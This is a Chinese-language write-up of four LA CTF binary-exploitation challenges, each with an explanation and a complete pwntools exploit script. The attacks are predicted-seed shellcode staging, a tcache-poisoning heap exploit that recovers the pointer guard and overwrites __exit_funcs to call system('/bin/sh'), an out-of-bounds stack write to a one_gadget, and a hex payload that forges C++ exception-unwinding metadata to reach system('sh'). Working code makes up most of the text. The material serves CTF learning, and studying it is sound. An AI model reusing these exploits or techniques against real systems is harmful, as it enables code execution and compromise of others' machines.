mmap(0x13370000, RWX, MAP_FIXED)//注意play这里把 0x13370000 这页设成可读可写可执行
memcpy(board, hand, 14)
call board()
程序是拿时间做种子,那么可以尝试拿现在的时间往前/往后推演 (recover_seed)。
只要推演出的随机序列开头和我们的初始手牌对上了,就可以预测下一步系统分发的手牌
基本上利用流程就是:
读取初始 hand[14]
-> 反推 srand 的 seed
-> 预测后续 rand 字节流
-> 规划每一步 swap 哪个下标
-> 把 hand 变成 14 字节 stage1
-> play 执行 stage1
-> stage1 read(0, board+13, 0x80)
-> 发送 stage2(ORW shellcode)
-> stage2 读 /app/flag.txt 并输出
stage1
be 0d 00 37 13 mov esi, 0x1337000d
31 ff xor edi, edi
31 c0 xor eax, eax
b2 80 mov dl, 0x80
0f 05 syscall
?? 第14字节 don't-care
语义:
read(0, 0x1337000d, 0x80)
比如预测到未来的发牌流: 0x11, 0xBE, 0x99, 0x0D, 0xFF…
抽到没用的牌 (0x11) -> 扔进垃圾桶 (索引 13),不破坏前面拼好的部分
抽到需要的牌 (0xBE) -> 放到指定的位置 (索引 0)
抽到没用的牌 (0x99) -> 扔进垃圾桶 (索引 13)
抽到需要的牌 (0x0D) -> 放到指定的位置 (索引 1)
…
(疯狂换牌,直到前 13 个字节完美变成我们的 Stage 1)
这样就有了足够的空间来放shellcode
执行衔接:
call board() 从 board+0 开始执行 stage1
syscall(read) 把 stage2 写到 board+13
syscall 返回后 RIP 落到下一条地址(board+13)
-> 自然进入 stage2 执行
stage2
openat(-100, "/app/flag.txt", 0)
read(fd, rsp, 0x100)
write(1, rsp, n)
exit(0)
并且做了长度检查:
len(stage2) <= 0x80
确保能被 stage1 一次 read 装进去。
关于seed 恢复 + swap 规划
A. 解析初始 hand
parse_initial_hand() 从界面那行
"| xx | xx | … |"
提取 14 个字节。
B. 恢复 seed
recover_seed(observed, now_hint):
在当前时间附近窗口枚举 s:
srand(s)
看前 14 个 rand()&0xff 是否等于 observed
匹配即找到 seed。
C. 重建随机流
rand_stream(seed, N) 生成长序列 stream。
注意:
stream[0..13] 对应初始 hand
之后每一次 swap 会消费 1 个后续字节
D. 生成 swap 计划
build_swap_plan():
对每个目标位置 i:
找到目标字节在后续 stream 的最早出现位置 p
记录事件 “第 p 次随机输出时,swap(i)”
不是事件的位置就 swap 一个“垃圾位”消耗随机数,保持步进对齐。
E. 本地模拟校验
规划完后脚本会模拟执行所有 swap,
验证最终 hand 是否与 STAGE1_PATTERN 完全一致(None 位除外)
EXP
#!/usr/bin/env python3
from pwn import asm, context, remote, shellcraft
import ctypes
import re
import time
from collections import defaultdict, deque
context.arch = "amd64"
context.os = "linux"
context.log_level = "error"
HOST = "chall.lac.tf"
PORT = 31338
HAND_SIZE = 14
# 13-byte stage1 at board+0, byte 13 is don't-care and becomes stage2 entry.
# mov esi, 0x1337000d ; read into board+13
# xor edi, edi ; fd = 0
# xor eax, eax ; syscall: read
# mov dl, 0x80 ; up to 128 bytes
# syscall
STAGE1_PATTERN = [
0xBE, 0x0D, 0x00, 0x37, 0x13,
0x31, 0xFF,
0x31, 0xC0,
0xB2, 0x80,
0x0F, 0x05,
None,
]
LIBC = ctypes.CDLL("libc.so.6")
LIBC.srand.argtypes = [ctypes.c_uint]
LIBC.rand.restype = ctypes.c_int
def build_stage2() -> bytes:
sc = asm(
shellcraft.openat(-100, "/app/flag.txt", 0)
+ shellcraft.read("rax", "rsp", 0x100)
+ shellcraft.write(1, "rsp", "rax")
+ shellcraft.exit(0)
)
if len(sc) > 0x80:
raise RuntimeError(f"stage2 too long: {len(sc)} > 128")
return sc
def parse_initial_hand(blob: bytes) -> list[int]:
m = re.search(rb"\|(?: [0-9a-f]{2} \|){14}", blob)
if not m:
raise RuntimeError("failed to parse initial hand")
vals = [int(x, 16) for x in re.findall(rb"[0-9a-f]{2}", m.group(0))]
if len(vals) != HAND_SIZE:
raise RuntimeError("hand length mismatch")
return vals
def recover_seed(observed: list[int], now_hint: int) -> int:
for window in (120, 600, 3600, 21600, 86400):
start = now_hint - window
end = now_hint + window
matches = []
for s in range(start, end + 1):
u = ctypes.c_uint(s).value
LIBC.srand(u)
ok = True
for b in observed:
if (LIBC.rand() & 0xFF) != b:
ok = False
break
if ok:
matches.append(u)
if matches:
return min(matches, key=lambda x: abs(x - now_hint))
raise RuntimeError("seed recovery failed")
def rand_stream(seed: int, n: int) -> list[int]:
LIBC.srand(ctypes.c_uint(seed).value)
return [LIBC.rand() & 0xFF for _ in range(n)]
def build_swap_plan(initial: list[int], pattern: list[int | None], seed: int) -> list[int]:
max_search = 200000
stream = rand_stream(seed, max_search)
if stream[:HAND_SIZE] != initial:
raise RuntimeError("seed mismatch")
pos_by_byte: dict[int, deque[int]] = defaultdict(deque)
for i in range(HAND_SIZE, max_search):
pos_by_byte[stream[i]].append(i)
assign = [-1] * HAND_SIZE
for i in range(HAND_SIZE):
want = pattern[i]
if want is None or initial[i] == want:
assign[i] = i
for i in range(HAND_SIZE):
if assign[i] != -1:
continue
want = pattern[i]
if want is None:
assign[i] = i
continue
q = pos_by_byte[want]
if not q:
raise RuntimeError("not enough stream values")
assign[i] = q.popleft()
mutable = [i for i, p in enumerate(assign) if p >= HAND_SIZE]
if not mutable:
return []
event: dict[int, int] = {}
for i, p in enumerate(assign):
if p >= HAND_SIZE:
if p in event:
raise RuntimeError("duplicate assignment index")
event[p] = i
max_pos = max(event)
dump_idx = next(i for i in range(HAND_SIZE) if pattern[i] is None)
plan = []
for pos in range(HAND_SIZE, max_pos + 1):
plan.append(event.get(pos, dump_idx))
# sanity
sim = initial[:]
for step, idx in enumerate(plan, start=HAND_SIZE):
sim[idx] = stream[step]
for i, want in enumerate(pattern):
if want is None:
continue
if sim[i] != want:
raise RuntimeError("plan simulation mismatch")
return plan
def build_menu_blob(plan: list[int]) -> bytes:
out = bytearray()
for idx in plan:
out += b"1\n"
out += str(idx).encode()
out += b"\n"
out += b"2\n"
return bytes(out)
def solve(host: str = HOST, port: int = PORT) -> str:
stage2 = build_stage2()
now_hint = int(time.time())
io = remote(host, port)
pre = io.recvuntil(b"> ", timeout=10)
initial = parse_initial_hand(pre)
seed = recover_seed(initial, now_hint)
plan = build_swap_plan(initial, STAGE1_PATTERN, seed)
io.send(build_menu_blob(plan))
io.recvuntil(b"TRIPLE WORD SCORE!", timeout=180)
io.send(stage2)
out = io.recvall(timeout=5)
io.close()
m = re.search(rb"lactf\{[^}\n]+\}", out)
if not m:
raise RuntimeError("flag not found in output")
return m.group(0).decode()
if __name__ == "__main__":
print(solve())
lactf{gg_y0u_sp3ll3d_sh3llc0d3}
ourukla
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
直接看题目给的源码c就行,问题在 add_student()
char* old_top = *((char**)puts + (0x166580/8)) + 0x10;
struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student));
if ((void *)old_top == (void *)s) s->sinfo = NULL;
正常的分配:拿到新内存 -> 清空指针 (sinfo = NULL)
但是s->sinfo 只在“恰好从 top chunk 分配”时才被置 NULL
如果 chunk 来自 tcache/fastbin,s->sinfo 就是未初始化脏数据,或者说是之前对象留下的指针
`struct student`:
+----------------------+ 0x00
| array_id |
+----------------------+ 0x08
| uid |
+----------------------+ 0x10
| sinfo (旧指针) | <--- 漏洞点
+----------------------+
`struct student_info`:
+----------------------+ 0x00
| noeditingmyptrs[0x10]|
+----------------------+ 0x10
| name (char*) |
+----------------------+ 0x18
| attributes |
+----------------------+ 0x20
| major[0x40] |
+----------------------+ 0x60
| aux[0x90] |
+----------------------+
当 s->sinfo 是脏指针时:
get_student_info()会把这个脏地址当真,读sinfo->name并%s打印 -> 信息泄露fill_student_info()会往这个脏地址写入 name/major/aux -> 任意地址附近写remove_student()会free(sinfo->name); free(sinfo);-> 可构造 free 链(伪造结构)
我们的 Student 结构体
+----------------------+
| uid = 456 |
| sinfo = 脏指针 ---------+
+----------------------+ |
v (指向已被释放的旧 sinfo 结构)
+---------------------------+
| ... |
| name = 另一个脏指针 ------|----+
+---------------------------+ |
v (指向 Tcache 或 Unsorted Bin 的空闲块)
+----------------------------------+
| fd (Tcache时, 泄露 Heap 基址) |
| bk (Unsorted时, 泄露 Libc 基址) |
+----------------------------------+
利用这个“脏指针”,我们使用读取和打印功能(get_student_info),让程序误以为旧对象还是合法的,打印 name 时,可以直接把 fd 或 bk 的真实地址带了出来
然后通过“脏 sinfo + fill/remove”反复改写,最终实现强行扭转 Tcache 的单向链表:
+-----+ +-----+ +-----+ +-----+
| A | --> | B | --> | D | --> | E |
+-----+ +-----+ +-----+ +-----+
并且在这个过程中保持 safe-linking 形式正确( (D >> 12) ^ E)
高版本 glibc 会用一个随机密钥 (pointer_guard) 对全局函数指针进行异或加密。可以利用先露已知指针,逆推出这个密钥
接下来是内存错位覆盖。我们让下一次分配的脏 sinfo 指向 Libc 中 __exit_funcs 结构体(用 L 表示)往前偏移 0x20 的位置。这样,当我们去填学生的 major (专业) 时,恰好完美覆盖了系统的退出函数!
我们以为在写 Student_info: 实际物理内存中覆盖的是 __exit_funcs:
(sinfo = L - 0x20)
+--------------------------+ +--------------------------+
| 0x00: noeditingmyptrs | | (无关紧要的内存区) |
| 0x10: name 指针 | | (无关紧要的内存区) |
| 0x18: attributes | | (无关紧要的内存区) |
+==========================+ +==========================+ <--- 目标结构体 L 起点
| 0x20: major 字段 | | next = 0 |
| (我们伪造的数据) | ==> | idx = 1, flavor = 4 |
| mangled(system) | ==> | func = 已加密的 system |
| "/bin/sh" 所在的地址| ==> | arg = 传给 system 的参数 |
+--------------------------+ +--------------------------+
菜单输入非法选项(如 9)会走 default -> exit(1)。
exit 时执行我们改写的回调:
system("/bin/sh")
EXP
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("./chall", checksec=False)
context.log_level = "error"
LD = "./docker_libs/ld-linux-x86-64.so.2"
libc = ELF("./docker_libs/libc.so.6", checksec=False)
LIBC_LEAK_OFF = 0x1E6C20
HOST = "chall.lac.tf"
PORT = 31147
LD_FROM_LIBC_LOCAL = 0x1FC000
LD_FROM_LIBC_REMOTE = 0x1F8000
def rol(x, r):
return ((x << r) | (x >> (64 - r))) & ((1 << 64) - 1)
def ror(x, r):
return ((x >> r) | (x << (64 - r))) & ((1 << 64) - 1)
def add(io, uid, info=False, name=b"A" * 0x100, major=b"M" * 0x40, attr=1, aux=b"X" * 0x90, with_aux=True):
io.sendlineafter(b"Option > ", b"1")
io.sendlineafter(b"Enter student UID: ", str(uid).encode())
io.sendlineafter(b"You can do it later: ", b"y" if info else b"n")
if info:
io.sendafter(b"Student name: ", (name + b"A" * 0x100)[:0x100])
io.sendafter(b"Student major: ", (major + b"M" * 0x40)[:0x40])
io.sendlineafter(b"undergrad = 1): ", str(attr).encode())
io.sendlineafter(b"Require space to add aux data (y/n)? ", b"y" if with_aux else b"n")
if with_aux:
io.sendafter(b"Aux data: ", (aux + b"X" * 0x90)[:0x90])
def rm(io, uid):
io.sendlineafter(b"Option > ", b"3")
io.sendlineafter(b"Enter student UID: ", str(uid).encode())
def get_name(io, uid):
io.sendlineafter(b"Option > ", b"2")
io.sendlineafter(b"Enter student UID: ", str(uid).encode())
out = io.recvuntil(b"Option > ", drop=False)
k = b"Student Name: "
p = out.find(k)
if p == -1:
return b""
s = p + len(k)
e = out.find(b"\nStudent Major: ", s)
if e == -1:
e = out.find(b"\n", s)
if e == -1:
e = len(out)
return out[s:e]
def one_attempt(attempt):
if args.REMOTE:
io = remote(HOST, PORT)
io.timeout = 2
else:
io = process([LD, "--library-path", "./docker_libs", "./chall"], stderr=STDOUT)
io.timeout = 1
try:
for i in range(1, 10):
add(io, i, True, name=bytes([0x41 + i]) * 0x40, major=bytes([0x61 + i]) * 0x40, attr=1, aux=b"Z" * 0x90)
for i in range(1, 8):
rm(io, i)
rm(io, 8)
for i in range(100, 108):
add(io, i, False)
heap_line = get_name(io, 106)
libc_line = get_name(io, 107)
if len(heap_line) < 5 or len(libc_line) < 6:
raise RuntimeError(f"bad stage9 leak len heap={len(heap_line)} libc={len(libc_line)}")
heap = u64(heap_line.ljust(8, b"\x00")) << 12
libc_base = u64(libc_line[:6].ljust(8, b"\x00")) - LIBC_LEAK_OFF
if libc_base < 0x700000000000:
raise RuntimeError(f"implausible libc {hex(libc_base)} line={libc_line.hex()}")
ld_base = libc_base + (LD_FROM_LIBC_REMOTE if args.REMOTE else LD_FROM_LIBC_LOCAL)
L = libc_base + 0x1E8000
system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
C = heap + 0x1260
D = heap + 0x1280
E = heap + 0x12A0
print(f"[try {attempt}] heap={hex(heap)} libc={hex(libc_base)}")
# Build free chain A->B->D->E.
add(io, 200, True, name=b"R" * 0x20, major=b"S" * 0x20, aux=b"T" * 0x20)
add(io, 201, False) # C
add(io, 202, False) # D
rm(io, 107) # free A,B
Uc = 0x1234567887654321
major300 = flat(
0x1111,
Uc, # C uid
D, # C.sinfo = D
0x21, # D-8
0x4444,
0x5555,
E, # D+0x10 (rm Uc => free(E))
0x21, # E-8
)[:0x40]
aux300 = flat(0x6666, 0x7777, 0x0, 0x21).ljust(0x90, b"X")
add(io, 300, True, name=b"N" * 0x40, major=major300, aux=aux300)
add(io, 301, False) # allocate B
rm(io, Uc) # free E, D, C
rm(io, 300) # free B, A
# add302 from A(stale B): configure C for leak, and E+0x10 for final write.
ULEAK = 0x4142434445464748
major302 = flat(
0xAAAA,
ULEAK, # C uid
L + 0x18, # C+0x10 used as fake->name
0x21, # D-8
(D >> 12) ^ E, # keep D->next = E in tcache-safe-linking form
0xCCCC,
C, # D+0x10 -> sinfo pointer to fake struct at C
0x21, # E-8
)[:0x40]
aux302 = flat(
0xDDDD,
0xEEEE,
L - 0x20, # E+0x10 -> stale sinfo for final add
0x21,
).ljust(0x90, b"Q")
add(io, 302, True, name=b"P" * 0x40, major=major302, aux=aux302)
# Consume B and D, next add gets E.
add(io, 303, False)
add(io, ULEAK, False) # D now reachable by ULEAK for leak
mline = get_name(io, ULEAK)
if len(mline) < 8:
raise RuntimeError(f"bad mangled leak len={len(mline)} data={mline.hex()}")
mangled = u64(mline[:8].ljust(8, b"\x00"))
guard = ror(mangled, 17) ^ (ld_base + 0x5AA0)
mangled_system = rol(system ^ guard, 17)
print("mangled", hex(mangled), "guard", hex(guard))
exit_major = flat(
0, # next
1, # idx
4, # flavor
mangled_system,
binsh,
0, 0, 0,
)[:0x40]
add(io, 305, True, name=b"/bin/sh\x00", major=exit_major, attr=0, aux=b"", with_aux=False)
io.sendlineafter(b"Option > ", b"9")
io.sendline(b"echo PWNED; id; cat flag.txt; cat /srv/app/flag.txt; cat /flag.txt")
out = b""
try:
for _ in range(8):
part = io.recv(timeout=1.2)
if not part:
break
out += part
except EOFError:
try:
out += io.recvall(timeout=1)
except Exception:
pass
print(out)
if b"lactf{" in out or b"flag{" in out:
io.close()
return True
if b"PWNED" in out or b"uid=" in out:
io.close()
return True
io.close()
raise RuntimeError("no shell output")
except Exception as e:
print(f"[try {attempt}] EXC", type(e).__name__, e)
try:
print(io.recvall(timeout=1))
except Exception:
pass
try:
io.close()
except Exception:
pass
return False
def main():
for i in range(1, 21):
if one_attempt(i):
return
if __name__ == "__main__":
main()
this-is-how-you-pwn-the-time-war
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
这是一个栈上 short 数组越界写
但因为开了 PIE,直接改返回地址不够,还要先解决地址问题
先看下init():
void init()
{
setbuf(_bss_start, 0LL);
srand((unsigned int)&clock_gettime);
}
clock_gettime在这里是一个函数指针,在 libc 里的偏移是固定的(题目 libc 为 0xcf420)
seed = (uint32_t)clock_gettime_address_in_libc
所以 seed 的低 12 位固定为 0x420,可爆破空间大幅缩小
然后再看 run():
void run() {
short code[4];
for (int i = 0; i < 4; i ++) {
code[i] = rand() % 16;
}
printf("You see a locked box. The dial on the lock reads: %d-%d-%d-%d\n", code[0], code[1], code[2], code[3]);
printf("Which dial do you want to turn? ");
short ind1, val1, ind2, val2;
if (scanf("%hd", &ind1) <= 0) {
return;
}
printf("What do you want to set it to? ");
scanf("%hd", &val1);
printf("Second dial to turn? ");
scanf("%hd", &ind2);
printf("What do you want to set it to? ");
scanf("%hd", &val2);
code[ind1] = val1;
code[ind2] = val2;
printf("The box remains locked.\n");
}
没有任何边界检查,ind 可正可负(short)
核心写原语:
addr(code[ind]) = (rbp - 0xc) + ind * 2
也就是:给我一个 ind,我就能向“相对 code[0] 偏移 ind*2 的栈地址”写 2 字节。
每次 run 允许写两次(ind1/val1 和 ind2/val2)

在题目给的二进制/库下,关键索引是:
- code[18] -> main 返回地址低 16 位
- code[19] -> main 返回地址次低 16 位
- code[154] -> argv[0] 指针低 16 位(用于满足 one_gadget 约束)
onegadget:
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
利用链:
+-----------------------------+
| 程序打印 4 个 rand()%16 数值 |
+-----------------------------+
|
v
+-------------------------------------------------+
| 依据 seed 低 12 位固定(0x420)爆破候选 seed 列表 |
| seed = (uint32_t)(libc_base + 0xcf420) |
+-------------------------------------------------+
|
v
+---------------------------------------------+
| 得到 libc_base 低 32 位(足够改返回地址低 4 字节) |
+---------------------------------------------+
|
v
+----------------------------------------------+
| Round 1: |
| 1) code[18] = loop gadget 低16位 |
| (把 main 返回点从 0x2724a 改到 0x27243) |
| 2) code[154] = 0 |
| (满足 one_gadget 的 rbx 相关约束) |
+----------------------------------------------+
|
v
+----------------------------------------------+
| 程序回到 main,再次进入 run(拿到第二轮写机会)|
+----------------------------------------------+
|
v
+----------------------------------------------+
| Round 2: |
| 1) code[18] = one_gadget 地址低16位 |
| 2) code[19] = one_gadget 地址次低16位 |
+----------------------------------------------+
|
v
+----------------------------------------------+
| main ret -> 跳到 libc 0x4c139 (posix_spawn) |
| 产生命令执行 /bin/sh |
+----------------------------------------------+
EXP
#!/usr/bin/env python3
from pwn import *
import ctypes, os
context.log_level = 'info'
context.timeout = 10
HOST = "chall.lac.tf"
PORT = 31313
# libc 中 clock_gettime 的偏移,srand 的种子就是 (uint32)(libc_base + 这个偏移)
CLOCK_GETTIME_OFFSET = 0xcf420
LOW12 = CLOCK_GETTIME_OFFSET & 0xFFF # 种子低12位固定(libc 按页对齐)
# gadget 偏移
LOOP_GADGET = 0x27243 # __libc_start_call_main 里的 mov rax,[rsp+8]; call rax
POSIX_SPAWN_GADGET = 0x4c139 # do_system 内的 posix_spawn one_gadget
ARGV_IDX = 154 # code[154] = argv[0] 低2字节,写0满足 (u16)[rbx]==0
# 加载目标 libc,用它的 srand/rand 来爆破种子
LIBC_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "libc.so.6")
libc = ctypes.CDLL(LIBC_PATH)
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.argtypes = []
libc.rand.restype = ctypes.c_int
def bruteforce_seed(v0, v1, v2, v3):
"""根据 4 个 rand()%16 的输出,爆破所有可能的 srand 种子"""
results = []
s = LOW12
while s <= 0xFFFFFFFF:
libc.srand(ctypes.c_uint(s))
if libc.rand() % 16 == v0 and libc.rand() % 16 == v1 \
and libc.rand() % 16 == v2 and libc.rand() % 16 == v3:
results.append(s)
s += 0x1000
return results
def to_short(v):
"""uint16 转 signed short,给 scanf("%hd") 用"""
v &= 0xFFFF
return v - 0x10000 if v >= 0x8000 else v
def attempt(seed_idx):
io = remote(HOST, PORT)
# 读取 dial 值
io.recvuntil(b"reads: ")
dials_str = io.recvuntil(b"\n", drop=True).decode()
dials = list(map(int, dials_str.split("-")))
log.info(f"dial 值: {dials}")
# 爆破种子
seeds = bruteforce_seed(*dials)
log.info(f"候选种子数: {len(seeds)}")
if seed_idx >= len(seeds):
io.close()
return None
seed = seeds[seed_idx]
lb = (seed - CLOCK_GETTIME_OFFSET) & 0xFFFFFFFF # libc 基址低32位
log.info(f"尝试种子 #{seed_idx}: {seed:#x}, libc 基址低32位: {lb:#x}")
# 检查 loop gadget 和原始返回地址的高16位是否一致
# 不一致的概率约 0.01%,遇到就跳过
orig_hi = ((lb + 0x2724a) >> 16) & 0xFFFF
loop_hi = ((lb + LOOP_GADGET) >> 16) & 0xFFFF
if orig_hi != loop_hi:
log.warn("高16位进位不一致,跳过")
io.close()
return None
# === 第一轮:loop + 清零 argv[0] 低字节 ===
# code[18] = loop gadget 低16位 → 让 main 返回后重新执行
# code[154] = 0 → 清零 (u16)[rbx],满足 one_gadget 约束
io.recvuntil(b"turn?")
loop_lo = to_short((lb + LOOP_GADGET) & 0xFFFF)
io.sendline(str(18).encode())
io.recvuntil(b"set it to?")
io.sendline(str(loop_lo).encode())
io.recvuntil(b"dial to turn?")
io.sendline(str(ARGV_IDX).encode())
io.recvuntil(b"set it to?")
io.sendline(b"0")
# 等待 loop 生效:应该再次看到 "turn?"
try:
io.recvuntil(b"turn?", timeout=5)
except EOFError:
log.warn("没有 loop,种子可能不对")
io.close()
return None
log.success("loop 成功,进入第二轮")
# === 第二轮:写入 posix_spawn gadget 地址 ===
target = (lb + POSIX_SPAWN_GADGET) & 0xFFFFFFFF
tlo = to_short(target & 0xFFFF)
thi = to_short((target >> 16) & 0xFFFF)
io.sendline(str(18).encode())
io.recvuntil(b"set it to?")
io.sendline(str(tlo).encode())
io.recvuntil(b"dial to turn?")
io.sendline(str(19).encode())
io.recvuntil(b"set it to?")
io.sendline(str(thi).encode())
# 等 "locked" 出现,确认 scanf 已消费完输入
io.recvuntil(b"locked", timeout=3)
# gadget 触发后子进程 /bin/sh 启动,父进程阻塞在 waitpid
sleep(0.5)
try:
resp = io.recvrepeat(timeout=2)
except:
resp = b""
# 没直接拿到就进交互模式手动找
log.info(f"输出: {resp[:300]}")
io.interactive()
io.close()
return "interactive"
def main():
log.info(f"gadget: {POSIX_SPAWN_GADGET:#x}, argv 索引: {ARGV_IDX}")
for i in range(500):
si = i % 10
log.info(f"第 {i+1} 次尝试,种子索引 {si}")
try:
r = attempt(si)
if r:
return
except Exception as e:
log.warn(f"异常: {e}")
sleep(0.3)
log.error("500 次尝试均失败")
if __name__ == "__main__":
main()
refraction
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
先看源码 chall.cpp,最醒目的危险点在 main():
read(0, __GNU_EH_FRAME_HDR, 0x100);
上网找到的解释:.eh_frame_hdr节是ELF(Executable and Linkable Format)文件中的一个重要节区,全称是”Exception Handling Frame Header”(异常处理帧头)。它作为.eh_frame节的辅助节区,用于加速异常处理和栈回溯过程
简单来说,__GNU_EH_FRAME_HDR不是普通缓冲区,它是异常展开(UNWIND)元数据区
这意味着:用户输入可以直接改写异常处理用的导航表
然后main继续跟进,main -> f() -> __cxa_throw
一旦throw,运行时就会读取.eh_frame_hdr/.eh_frame/LSDA来决定跳到哪个 landing pad
如果这些表被我们改了,异常处理跳转目标就可控
[用户输入] --read 0x100--> [.eh_frame_hdr + 邻近 .eh_frame]
|
v
[异常展开依赖这些数据]
|
v
[控制异常处理跳转与恢复寄存器]
本质:可控写覆盖 C++ 异常元数据,导致异常展开流程被劫持(控制流劫持)
函数 g() 里有现成危险调用system:
try {
puts("nope");
} catch (const char* e) {
system(e);
}
虽然正常流程不会进 g() 的 catch,但我们能通过伪造 unwind 元数据,让 throw 走到这个处理路径(或其中的 landing pad),最终触发 system
+---------------------------+
| 发送 payload.bin (0x100) |
+---------------------------+
|
v
+-----------------------------------------+
| 覆盖 .eh_frame_hdr/.eh_frame 中关键记录 |
| - 新的 FDE 表项 |
| - 新的 LSDA |
| - 命令字符串 "sh\\0" |
+-----------------------------------------+
|
v
+-------------------------+
| 程序调用 f() 并 throw |
+-------------------------+
|
v
+------------------------------------+
| unwinder 读取“伪造后”的元数据 |
| -> 选中伪造 handler/landing pad |
| -> 跳到 g() 的 catch 相关路径 |
+------------------------------------+
|
v
+----------------------------+
| system("sh") 被触发 |
| 后续可发命令读 flag |
+----------------------------+
EXP
#!/usr/bin/env python3
from pathlib import Path
from pwn import *
context.arch = "amd64"
context.os = "linux"
HOST, PORT = "chall.lac.tf", 31152
ROOT = Path(__file__).resolve().parent
PAYLOAD = ROOT / "payload.bin"
def main():
payload = PAYLOAD.read_bytes()
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = process(str(ROOT / "chall"))
io.send(payload)
cmd = args.CMD if args.CMD else None
if cmd:
io.sendline(cmd.encode())
out = io.recvrepeat(1.0)
if out:
print(out.decode(errors="replace"), end="")
io.interactive()
if __name__ == "__main__":
main()
payload.bin
01 1B 03 3B 34 00 00 00 02 00 00 00 99 F1 FF FF
50 00 00 00 28 F2 FF FF CC 00 00 00 99 F1 FF FF
90 00 00 00 C8 F1 FF FF CC 00 00 00 28 F2 FF FF
F4 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00
01 7A 52 00 01 78 10 01 1B 0C 07 08 90 01 00 00
1D 00 00 00 1C 00 00 00 41 F1 FF FF 30 00 00 00
00 41 0E 10 86 02 43 0D 06 16 06 03 70 D8 00 00
00 EF FF FF 90 00 00 00 00 0E 10 46 0E 18 4A 0F
0B 77 08 80 AC 1C 00 00 2A 33 24 22 00 00 00 00
FF 1B 15 0B 0D 00 00 00 00 29 00 00 00 D4 FF FF
FF 01 09 73 68 00 43 0D 06 00 00 00 1C 00 00 00
00 00 00 00 01 7A 50 4C 52 00 01 78 10 07 9B 49
1F 00 00 1B 1B 0C 07 08 90 01 00 00 1D 00 00 00
24 00 00 00 54 F1 FF FF 29 00 00 00 04 B3 FF FF
FF 41 0E 10 86 02 43 0D 06 64 0C 07 08 56 0C 07
08 00 00 00 1C 00 00 00 C0 00 00 00 2C F1 FF FF









